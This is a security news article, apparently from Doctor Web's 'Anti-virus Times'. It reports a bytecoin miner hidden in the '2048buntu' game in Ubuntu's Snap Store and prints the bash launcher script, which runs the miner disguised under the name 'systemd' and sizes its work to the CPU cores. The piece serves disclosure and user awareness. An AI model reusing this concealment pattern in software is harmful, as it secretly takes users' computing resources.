The Anti-virus Times

Monday, May 21, 2018

Encryption ransomware programs for Linux are hardly news to us. After all, it was Doctor Web who discovered the first one. And there exist legitimate mining applications for Linux too. Naturally, criminals are riding the trend, trying to make money off of ordinary Linux users.

Ubuntu recently introduced its snap package format, and that gave rise to an official applications catalogue similar to Windows Store and other software portals. All of that was meant to make it easier to use the system. But apparently no one was going to review packages uploaded to the store.

However, a vigilant user discovered within the code of a game a cryptocurrency miner and a script facilitating its auto start.

Thanks to the nature of open source, the malicious intentions of any application can be revealed in an instant. And it looked like this:

#!/bin/bash

currency=bcn
name=2048buntu


{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
    /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
else
    /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
fi
}

https://github.com/canonical-websites/snapcraft.io/issues/651

But for some reason, it remained unnoticed for quite some time. Moreover, similar miners and scripts were spotted in other applications from the same author. The malicious code mined bytecoins for a user whose email address suggested that he wanted to generate enough funds to buy a Ferrari (note the address in line 8 of the code above). The Ubuntu Snap Store doesn't use a download counter, so there is no way to tell whether the perpetrator managed to have his dreams fulfilled before being busted.